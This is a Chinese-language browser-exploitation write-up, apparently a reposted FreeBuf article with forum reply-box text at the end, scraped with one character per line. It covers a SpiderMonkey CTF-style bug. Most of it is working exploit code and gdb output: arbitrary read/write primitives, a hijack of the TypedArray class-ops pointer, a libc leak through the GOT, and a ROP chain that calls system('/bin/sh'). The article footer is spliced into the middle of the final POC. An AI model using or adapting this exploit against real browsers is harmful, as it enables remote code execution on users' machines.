直
到
找
到
一
个
能
够
写
的
指
针
。
一
旦
我
们
能
够
人
工
的
重
新
创
建
这
个
结
构
体
并
将
这
些
指
针
写
到
c
0
p
s
这
个
属
性
当
中
去
。
现
在
需
要
知
道
的
就
是
,
一
旦
我
们
能
够
控
制
c
0
p
s
属
性
当
中
的
指
针
,
就
能
够
劫
持
程
序
的
控
制
流
了
吗
?
当
然
,
对
于
下
面
的
这
个
例
子
。
b
=
n
e
w
A
r
r
a
y
(
1
,
2
,
3
,
4
,
5
,
6
)
;
c
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
8
)
;
d
=
[
c
,
c
,
c
,
c
]
;
b
.
b
l
a
z
e
(
)
=
=
u
n
d
e
f
i
n
e
d
;
d
u
m
p
O
b
j
e
c
t
(
c
)
;
0
x
1
5
f
0
d
7
f
0
0
8
4
8
:
0
x
0
0
0
0
1
1
4
8
0
3
e
7
9
d
9
0
0
x
0
0
0
0
1
1
4
8
0
3
e
a
6
7
1
8
0
x
1
5
f
0
d
7
f
0
0
8
5
8
:
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
x
0
0
0
0
5
5
5
5
5
6
d
6
9
1
d
0
0
x
1
5
f
0
d
7
f
0
0
8
6
8
:
0
x
f
f
f
a
0
0
0
0
0
0
0
0
0
0
0
0
0
x
f
f
f
8
8
0
0
0
0
0
0
0
0
0
0
8
0
x
1
5
f
0
d
7
f
0
0
8
7
8
:
0
x
f
f
f
8
8
0
0
0
0
0
0
0
0
0
0
0
0
x
0
0
0
0
1
5
f
0
d
7
f
0
0
8
8
8
0
x
1
5
f
0
d
7
f
0
0
8
8
8
:
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
x
f
f
f
e
2
d
2
d
2
d
2
d
2
d
2
d
0
x
1
5
f
0
d
7
f
0
0
8
9
8
:
0
x
f
f
f
e
2
d
2
d
2
d
2
d
2
d
2
d
0
x
f
f
f
e
2
d
2
d
2
d
2
d
2
d
2
d
0
x
1
5
f
0
d
7
f
0
0
8
a
8
:
0
x
0
0
0
0
1
1
4
8
0
3
e
7
9
d
c
0
0
x
0
0
0
0
1
1
4
8
0
3
e
8
9
b
d
8
0
x
1
5
f
0
d
7
f
0
0
8
b
8
:
0
x
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
x
0
0
0
0
1
5
f
0
d
7
f
0
0
8
d
8
0
x
1
5
f
0
d
7
f
0
0
8
c
8
:
0
x
0
0
0
0
0
0
0
4
0
0
0
0
0
0
0
0
0
x
0
0
0
0
0
0
0
4
0
0
0
0
0
0
0
6
0
x
1
5
f
0
d
7
f
0
0
8
d
8
:
0
x
f
f
f
e
1
5
f
0
d
7
f
0
0
8
4
8
0
x
f
f
f
e
1
5
f
0
d
7
f
0
0
8
4
8
0
x
1
5
f
0
d
7
f
0
0
8
e
8
:
0
x
f
f
f
e
1
5
f
0
d
7
f
0
0
8
4
8
0
x
f
f
f
e
1
5
f
0
d
7
f
0
0
8
4
8
0
x
1
5
f
0
d
7
f
0
0
8
f
8
:
0
x
f
f
f
e
2
d
2
d
2
d
2
d
2
d
2
d
0
x
f
f
f
e
2
d
2
d
2
d
2
d
2
d
2
d
f
u
n
c
t
i
o
n
b
2
i
(
b
)
{
l
e
t
a
n
s
=
0
;
b
[
7
]
=
0
;
b
[
6
]
=
0
;
f
o
r
(
l
e
t
i
=
7
;
i
>
=
0
;
i
-
-
)
{
a
n
s
=
a
n
s
*
0
x
1
0
0
;
a
n
s
+
=
b
[
i
]
;
}
r
e
t
u
r
n
a
n
s
;
}
b
=
n
e
w
A
r
r
a
y
(
1
,
2
,
3
,
4
,
5
,
6
)
;
c
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
8
)
;
d
=
n
e
w
A
r
r
a
y
(
1
3
3
7
,
1
3
3
8
,
1
,
1
)
;
b
.
b
l
a
z
e
(
)
=
=
u
n
d
e
f
i
n
e
d
;
b
[
1
4
]
=
d
;
/
/
u
s
i
n
g
s
h
a
l
l
o
w
c
o
p
y
b
y
t
e
s
=
c
.
s
l
i
c
e
(
0
,
8
)
;
a
d
d
r
=
b
2
i
(
b
y
t
e
s
)
;
c
o
n
s
o
l
e
.
l
o
g
(
a
d
d
r
.
t
o
S
t
r
i
n
g
(
1
6
)
)
;
这
个
数
组
的
c
l
a
s
s
在
内
存
中
表
现
形
式
如
下
,
这
个
c
l
a
s
s
对
应
的
内
容
是
所
有
的
T
y
p
e
d
A
r
r
a
y
的
指
针
结
构
体
,
对
应
的
0
x
5
5
5
5
5
7
6
4
a
3
8
0
位
置
存
储
的
是
U
i
n
t
8
A
r
r
a
y
类
型
的
函
数
指
针
地
址
。
查
看
一
下
0
x
5
5
5
5
5
7
6
4
9
c
0
0
当
中
的
内
容
。
函
数
指
针
a
d
d
P
r
o
p
e
r
t
y
为
0
,
修
改
0
x
5
5
5
5
5
7
6
4
9
c
0
0
当
中
存
储
的
内
容
就
是
修
改
了
函
数
指
针
a
d
d
P
r
o
p
e
r
t
y
。
继
续
执
行
产
生
崩
溃
,
崩
溃
的
地
址
为
修
改
的
值
。
这
证
明
在
我
们
修
改
了
这
个
指
针
值
之
后
。
U
8
A
.
c
=
1
2
3
语
句
会
直
接
调
用
这
个
函
数
指
针
并
执
行
接
下
来
要
做
的
就
是
结
合
上
面
提
到
的
任
意
地
址
读
写
获
得
一
个
s
h
e
l
l
。
栈
迁
移
栈
迁
移
劫
持
程
序
控
制
流
仅
仅
是
现
有
攻
击
的
第
一
步
。
想
要
获
得
任
意
代
码
执
行
的
能
力
,
还
需
要
知
道
对
应
内
存
中
存
储
的
内
容
是
什
么
,
并
获
得
想
要
调
用
的
函
数
地
址
在
什
么
位
置
。
同
时
还
需
要
构
造
R
O
P
实
现
你
想
要
的
功
能
。
如
果
你
是
一
个
有
经
验
的
C
T
F
e
r
的
话
,
脑
海
中
很
快
就
能
规
划
出
一
整
套
的
攻
击
流
程
。
当
我
们
有
了
任
意
地
址
读
写
的
能
力
了
之
后
,
后
面
的
步
骤
如
下
:
1
.
泄
漏
程
序
的
地
址
2
.
通
过
程
序
中
G
O
T
段
存
储
的
内
容
,
读
取
l
i
b
c
的
地
址
。
计
算
R
O
P
过
程
中
需
要
使
用
的
函
数
地
址
3
.
读
取
s
t
a
c
k
的
地
址
4
.
在
对
应
的
内
存
中
写
入
需
要
的
字
符
串
(
'
/
b
i
n
/
s
h
'
o
r
'
/
b
i
n
/
k
c
a
l
c
'
)
5
.
修
改
返
回
地
址
及
其
下
面
的
内
存
为
R
O
P
最
后
达
到
的
效
果
如
下
图
所
示
:
为
什
么
不
用
为
什
么
不
用
w
a
s
m
对
象
对
象
通
常
在
对
c
h
r
o
m
e
浏
览
器
的
v
8
引
擎
进
行
漏
洞
利
用
的
时
候
,
我
们
会
使
用
w
a
s
m
对
象
作
为
最
终
的
目
标
。
修
改
创
建
好
的
w
a
s
m
对
象
的
可
读
可
写
可
执
行
页
为
s
h
e
l
l
c
o
d
e
。
最
后
调
用
这
个
函
数
对
象
时
,
执
行
s
h
e
l
l
c
o
d
e
。
但
是
在
S
p
i
d
e
r
M
o
n
k
e
y
这
个
引
擎
中
,
w
a
s
m
c
o
d
e
不
是
直
接
编
译
成
s
h
e
l
l
c
o
d
e
并
存
储
在
可
写
可
执
行
页
上
。
而
是
编
译
成
了
对
应
的
伪
代
码
由
j
s
引
擎
解
释
执
行
,
所
以
相
对
而
言
,
其
w
a
s
m
的
处
理
速
度
和
效
率
会
远
远
低
于
c
h
r
o
m
e
的
v
8
引
擎
。
同
时
,
这
意
味
着
我
们
无
法
用
下
面
的
代
码
在
s
p
i
d
e
r
m
o
n
k
e
y
中
创
建
一
个
可
读
可
写
可
执
行
页
。
漏
洞
利
用
漏
洞
利
用
c
o
n
s
t
S
m
a
l
l
s
=
n
e
w
A
r
r
a
y
(
1
,
2
,
3
,
4
)
;
c
o
n
s
t
U
8
A
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
8
)
;
d
u
m
p
O
b
j
e
c
t
(
S
m
a
l
l
s
)
;
d
u
m
p
O
b
j
e
c
t
(
U
8
A
)
;
c
o
n
s
o
l
e
.
l
o
g
(
'
1
2
3
'
)
;
U
8
A
.
c
=
1
2
3
;
对
`
c
o
n
s
o
l
e
.
l
o
g
`
函
数
下
一
个
断
点
,
可
以
看
到
U
8
A
这
个
数
组
的
地
址
在
`
0
x
1
4
1
2
7
d
f
0
0
7
a
8
`
位
置
。
通
过
d
u
m
p
O
b
j
e
c
t
还
可
以
看
到
它
的
c
l
a
s
s
类
型
是
`
U
i
n
t
8
A
r
r
a
y
`
,
位
置
在
`
0
x
5
5
5
5
5
7
6
4
a
3
7
0
`
。
o
b
j
e
c
t
1
4
1
2
7
d
f
0
0
7
a
8
g
l
o
b
a
l
2
d
a
1
c
0
3
7
c
0
6
0
[
g
l
o
b
a
l
]
c
l
a
s
s
5
5
5
5
5
7
6
4
a
3
7
0
U
i
n
t
8
A
r
r
a
y
g
r
o
u
p
2
d
a
1
c
0
3
7
9
b
8
0
f
l
a
g
s
:
p
r
o
t
o
<
U
i
n
t
8
A
r
r
a
y
P
r
o
t
o
t
y
p
e
o
b
j
e
c
t
a
t
2
d
a
1
c
0
3
7
f
1
a
0
>
p
r
i
v
a
t
e
1
4
1
2
7
d
f
0
0
7
e
8
r
e
s
e
r
v
e
d
s
l
o
t
s
:
0
:
n
u
l
l
1
:
8
2
:
0
p
r
o
p
e
r
t
i
e
s
:
(
g
d
b
)
p
T
y
p
e
d
A
r
r
a
y
C
l
a
s
s
O
p
s
$
2
=
{
a
d
d
P
r
o
p
e
r
t
y
=
0
x
0
,
d
e
l
P
r
o
p
e
r
t
y
=
0
x
0
,
e
n
u
m
e
r
a
t
e
=
0
x
0
,
n
e
w
E
n
u
m
e
r
a
t
e
=
0
x
0
,
r
e
s
o
l
v
e
=
0
x
0
,
m
a
y
R
e
s
o
l
v
e
=
0
x
0
,
f
i
n
a
l
i
z
e
=
0
x
5
5
5
5
5
5
d
7
e
8
4
0
<
j
s
:
:
T
y
p
e
d
A
r
r
a
y
O
b
j
e
c
t
:
:
f
i
n
a
l
i
z
e
(
J
S
F
r
e
e
O
p
*
,
J
S
O
b
j
e
c
t
*
)
>
,
c
a
l
l
=
0
x
0
,
h
a
s
I
n
s
t
a
n
c
e
=
0
x
0
,
c
o
n
s
t
r
u
c
t
=
0
x
0
,
t
r
a
c
e
=
0
x
5
5
5
5
5
5
a
0
e
b
c
8
<
j
s
:
:
A
r
r
a
y
B
u
f
f
e
r
V
i
e
w
O
b
j
e
c
t
:
:
t
r
a
c
e
(
J
S
T
r
a
c
e
r
*
,
J
S
O
b
j
e
c
t
*
)
>
}
T
h
r
e
a
d
1
"
j
s
"
r
e
c
e
i
v
e
d
s
i
g
n
a
l
S
I
G
S
E
G
V
,
S
e
g
m
e
n
t
a
t
i
o
n
f
a
u
l
t
.
0
x
0
0
0
0
0
0
0
0
0
b
a
d
c
0
d
e
i
n
?
?
(
)
(
g
d
b
)
l
e
t
w
a
s
m
_
c
o
d
e
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
[
0
,
9
7
,
1
1
5
,
1
0
9
,
1
,
0
,
0
,
0
,
1
,
7
,
1
,
9
6
,
2
,
1
2
7
,
1
2
7
,
1
,
1
2
7
,
3
,
2
,
1
,
0
,
4
,
4
,
1
,
1
1
2
,
0
,
0
,
5
,
3
,
1
,
0
,
1
,
7
,
2
1
,
2
,
6
,
1
0
9
,
1
0
1
,
1
0
9
,
1
1
1
,
l
e
t
w
a
s
m
_
m
o
d
=
n
e
w
W
e
b
A
s
s
e
m
b
l
y
.
I
n
s
t
a
n
c
e
(
n
e
w
W
e
b
A
s
s
e
m
b
l
y
.
M
o
d
u
l
e
(
w
a
s
m
_
c
o
d
e
)
,
{
}
)
;
l
e
t
f
=
w
a
s
m
_
m
o
d
.
e
x
p
o
r
t
s
.
_
Z
3
a
d
d
i
i
;
f
(
)
;
如
有
需
要
,
可
以
在
这
里
下
载
到
我
编
译
好
的
版
本
链
接
:
h
t
t
p
s
:
/
/
p
a
n
.
b
a
i
d
u
.
c
o
m
/
s
/
1
8
y
f
G
3
t
E
t
1
U
u
B
Y
s
5
y
6
v
p
A
G
Q
提
取
码
:
q
d
n
t
P
O
C
v
a
r
f
6
4
=
n
e
w
F
l
o
a
t
6
4
A
r
r
a
y
(
1
)
;
v
a
r
u
3
2
=
n
e
w
U
i
n
t
3
2
A
r
r
a
y
(
f
6
4
.
b
u
f
f
e
r
)
;
f
u
n
c
t
i
o
n
d
2
u
(
v
)
{
f
6
4
[
0
]
=
v
;
r
e
t
u
r
n
u
3
2
;
}
f
u
n
c
t
i
o
n
u
2
d
(
l
o
,
h
i
)
{
u
3
2
[
0
]
=
l
o
;
u
3
2
[
1
]
=
h
i
;
r
e
t
u
r
n
f
6
4
[
0
]
;
}
f
u
n
c
t
i
o
n
l
o
g
(
l
o
,
h
i
)
{
p
r
i
n
t
(
'
0
x
'
+
h
i
.
t
o
S
t
r
i
n
g
(
1
6
)
+
l
o
.
t
o
S
t
r
i
n
g
(
1
6
)
)
;
}
f
u
n
c
t
i
o
n
b
2
i
(
b
y
t
e
s
)
{
l
e
t
a
n
s
=
0
;
b
y
t
e
s
[
7
]
=
0
;
b
y
t
e
s
[
6
]
=
0
;
f
o
r
(
l
e
t
i
=
7
;
i
>
=
0
;
i
-
-
)
{
a
n
s
=
a
n
s
*
0
x
1
0
0
;
a
n
s
+
=
b
y
t
e
s
[
i
]
;
}
r
e
t
u
r
n
a
n
s
;
}
f
u
n
c
t
i
o
n
r
e
a
d
(
l
o
,
h
i
)
{
l
e
t
t
m
p
=
0
;
b
[
1
3
]
=
u
2
d
(
l
o
,
h
i
)
;
t
m
p
=
b
2
i
(
c
.
s
l
i
c
e
(
0
,
8
)
)
;
r
e
t
u
r
n
t
m
p
;
}
f
u
n
c
t
i
o
n
l
o
n
g
_
r
e
a
d
(
a
)
{
l
e
t
l
o
=
a
%
0
x
1
0
0
0
0
0
0
0
0
;
l
e
t
h
i
=
a
/
0
x
1
0
0
0
0
0
0
0
0
;
r
e
t
u
r
n
r
e
a
d
(
l
o
,
h
i
)
;
}
f
u
n
c
t
i
o
n
w
r
i
t
e
3
2
(
l
o
,
h
i
,
v
)
{
l
e
t
t
m
p
=
[
]
;
b
[
1
3
]
=
u
2
d
(
l
o
,
h
i
)
;
f
o
r
(
l
e
t
i
=
0
;
i
<
7
;
+
+
i
)
{
t
m
p
[
i
]
=
(
v
%
0
x
1
0
0
)
&
0
x
f
f
;
v
=
p
a
r
s
e
I
n
t
(
v
/
0
x
1
0
0
)
;
}
c
.
s
e
t
(
t
m
p
)
;
}
f
u
n
c
t
i
o
n
i
n
t
_
w
r
i
t
e
(
a
,
v
)
{
l
e
t
l
o
=
a
%
0
x
1
0
0
0
0
0
0
0
0
;
l
e
t
h
i
=
a
/
0
x
1
0
0
0
0
0
0
0
0
;
r
e
t
u
r
n
w
r
i
t
e
3
2
(
l
o
,
h
i
,
v
)
;
}
b
=
n
e
w
A
r
r
a
y
(
1
,
2
,
3
,
4
,
5
,
6
)
;
c
=
n
e
w
U
i
n
t
8
A
r
r
a
y
(
8
)
;
b
.
b
l
a
z
e
(
)
=
=
u
n
d
e
f
i
n
e
d
;
d
2
u
(
b
[
9
]
)
;
j
s
_
a
d
d
r
_
l
o
=
u
3
2
[
0
]
-
0
x
1
8
1
5
1
d
0
;
j
s
_
a
d
d
r
_
h
i
=
u
3
2
[
1
]
;
/
/
l
e
a
k
l
i
b
c
a
d
d
r
e
s
s
m
e
m
s
e
t
_
g
o
t
_
l
o
=
j
s
_
a
d
d
r
_
l
o
+
0
x
0
0
0
0
0
2
1
6
0
1
e
8
;
m
e
m
s
e
t
_
g
o
t
_
h
i
=
j
s
_
a
d
d
r
_
h
i
;
m
e
m
s
e
t
_
l
i
b
c
=
r
e
a
d
(
m
e
m
s
e
t
_
g
o
t
_
l
o
,
m
e
m
s
e
t
_
g
o
t
_
h
i
)
;
l
i
b
c
_
b
a
s
e
=
m
e
m
s
e
t
_
l
i
b
c
-
0
x
1
6
4
b
7
0
;
/
/
c
a
l
c
u
l
a
t
e
s
o
m
e
i
m
p
o
r
t
a
n
t
a
d
d
r
e
s
s
e
n
v
i
r
o
n
_
a
d
d
r
=
l
i
b
c
_
b
a
s
e
+
0
x
1
c
4
1
2
0
;
p
o
p
_
r
d
i
_
a
d
d
r
=
l
i
b
c
_
b
a
s
e
+
0
x
0
0
0
0
0
0
0
0
0
0
2
6
b
1
2
;
s
y
s
t
e
m
_
a
d
d
r
=
l
i
b
c
_
b
a
s
e
+
0
x
4
9
1
c
0
;
/
/
l
e
a
k
s
t
a
c
k
a
d
d
r
e
s
s
s
t
a
c
k
_
a
d
d
r
=
l
o
n
g
_
r
e
a
d
(
e
n
v
i
r
o
n
_
a
d
d
r
)
;
/
/
c
a
l
c
u
l
a
t
e
t
h
e
r
s
p
r
s
p
_
v
a
l
u
e
=
s
t
a
c
k
_
a
d
d
r
-
0
x
1
2
d
8
;
p
r
i
n
t
(
r
s
p
_
v
a
l
u
e
.
t
o
S
t
r
i
n
g
(
1
6
)
+
'
,
'
+
p
o
p
_
r
d
i
_
a
d
d
r
.
t
o
S
t
r
i
n
g
(
1
6
)
+
'
,
'
+
l
i
b
c
_
b
a
s
e
.
t
o
S
t
r
i
n
g
(
1
6
)
)
;
/
/
t
r
i
g
g
e
r
t
h
e
e
x
p
l
o
i
t
l
i
k
e
t
h
e
c
h
a
k
r
a
c
o
r
e
o
n
e
S
t
r
i
n
g
.
p
r
o
t
o
t
y
p
e
.
s
l
i
c
e
.
c
a
l
l
(
'
'
,
{
v
a
l
u
e
O
f
:
(
)
=
>
{
i
n
t
_
w
r
i
t
e
(
e
n
v
i
r
o
n
_
a
d
d
r
+
0
x
1
0
0
,
0
x
6
e
6
9
6
2
2
f
)
;
i
n
t
_
w
r
i
t
e
(
e
n
v
i
r
o
n
_
a
d
d
r
+
0
x
1
0
4
,
0
x
0
0
6
8
7
3
2
f
)
;
i
n
t
_
w
r
i
t
e
(
r
s
p
_
v
a
l
u
e
,
p
o
p
_
r
d
i
_
a
d
d
r
%
0
x
1
0
0
0
0
0
0
0
0
)
;
*
本
文
原
创
作
者
:
本
文
原
创
作
者
:
K
r
i
s
t
o
n
,
本
文
属
于
,
本
文
属
于
F
r
e
e
B
u
f
原
创
奖
励
计
划
,
未
经
许
可
禁
止
转
载
原
创
奖
励
计
划
,
未
经
许
可
禁
止
转
载
精
彩
推
荐
精
彩
推
荐
i
n
t
_
w
r
i
t
e
(
r
s
p
_
v
a
l
u
e
+
4
,
p
a
r
s
e
I
n
t
(
p
o
p
_
r
d
i
_
a
d
d
r
/
0
x
1
0
0
0
0
0
0
0
0
)
)
;
i
n
t
_
w
r
i
t
e
(
r
s
p
_
v
a
l
u
e
+
8
,
(
e
n
v
i
r
o
n
_
a
d
d
r
+
0
x
1
0
0
)
%
0
x
1
0
0
0
0
0
0
0
0
)
;
i
n
t
_
w
r
i
t
e
(
r
s
p
_
v
a
l
u
e
+
1
2
,
p
a
r
s
e
I
n
t
(
(
e
n
v
i
r
o
n
_
a
d
d
r
+
0
x
1
0
0
)
/
0
x
1
0
0
0
0
0
0
0
0
)
)
;
i
n
t
_
w
r
i
t
e
(
r
s
p
_
v
a
l
u
e
+
1
6
,
s
y
s
t
e
m
_
a
d
d
r
%
0
x
1
0
0
0
0
0
0
0
0
)
;
i
n
t
_
w
r
i
t
e
(
r
s
p
_
v
a
l
u
e
+
2
0
,
p
a
r
s
e
I
n
t
(
s
y
s
t
e
m
_
a
d
d
r
/
0
x
1
0
0
0
0
0
0
0
0
)
)
;
}
}
)
;
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页